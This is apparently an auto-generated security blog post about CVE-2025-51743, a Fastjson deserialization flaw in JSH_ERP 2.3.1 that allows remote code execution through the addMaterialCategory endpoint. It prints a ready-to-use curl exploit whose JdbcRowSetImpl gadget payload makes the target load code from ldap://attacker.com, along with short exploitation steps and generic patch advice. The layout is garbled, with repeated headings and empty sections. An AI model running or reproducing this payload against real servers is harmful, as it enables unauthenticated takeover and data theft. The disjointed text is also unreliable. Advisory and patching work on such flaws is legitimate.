Listen to this Post
The CVE-2025-51743 vulnerability targets the jishenghua JSH_ERP system version 2.3.1. The flaw resides in the `/materialCategory/addMaterialCategory` endpoint, which insecurely deserializes user-supplied JSON data using the Fastjson library. Fastjson is a common Java library for parsing JSON. When configured unsafely, it can instantiate arbitrary classes specified within the JSON data during deserialization. Attackers can exploit this by crafting a malicious HTTP POST request containing a specially designed JSON payload. This payload utilizes “gadget chains”—combinations of classes already present in the application’s classpath. When the vulnerable endpoint processes this payload, the deserialization process triggers the execution of the gadget chain. This leads to remote code execution (RCE) on the underlying server, granting the attacker full control without authentication. The attack leverages known insecure deserialization patterns within Fastjson, allowing command injection or deployment of web shells.
Platform: jishenghua JSH_ERP
Version: 2.3.1
Vulnerability: Fastjson deserialization
Severity: Critical
Date: 11/25/2025
Prediction: Patch TBD
What Undercode Say:
Analytics
Showing bash commands and codes related to the blog
how Exploit:
Protection from this CVE
Impact:
Analytics
CVE publicly disclosed.
NVD base scoring.
Affects version 2.3.1.
Showing bash commands and codes related to the blog
curl -X POST
-H “Content-Type: application/json”
-d ‘{“@type”:”com.sun.rowset.JdbcRowSetImpl”,”dataSourceName”:”ldap://attacker.com/Exploit”, “autoCommit”:true}’ http://target:port/materialCategory/addMaterialCategory
how Exploit:
Craft malicious JSON.
Target addMaterialCategory endpoint.
Trigger gadget chain.
Protection from this CVE
Upgrade Fastjson library.
Implement input validation.
Use safe deserialization.
Impact:
Remote code execution.
Full system compromise.
Data breach potential.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
